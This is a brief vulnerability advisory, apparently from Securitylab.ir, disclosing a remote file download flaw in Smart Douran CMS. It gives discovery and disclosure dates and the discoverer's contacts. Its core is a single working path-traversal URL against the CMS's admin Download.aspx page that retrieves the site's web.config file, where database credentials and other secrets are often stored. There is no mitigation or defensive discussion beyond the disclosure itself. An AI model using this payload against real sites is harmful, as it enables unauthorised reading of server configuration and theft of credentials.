|
################################################################# =0D
# Securitylab.ir =0D
################################################################# =0D
# Application Info: =0D
# Name: Smart Douran CMS=0D
# Vendor: http://smartdouran.ir=0D
################################################################# =0D
# Vulnerability Info:=0D
# Type: Remote File Download=0D
# Risk: Medium=0D
# 2008-08-11 - Found Vulnerability=0D
# 2010-05-19 - Public disclosure=0D
#################################################################=0D
Vulnerability: =0D
http://site.com/Admin/ImportExport/Download.aspx?filename=../../web.config =0D
################################################################# =0D
# Discoverd By: Pouya Daneshmand =0D
# Website: http://Pouya.Securitylab.ir =0D
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com=0D
###################################################################=0D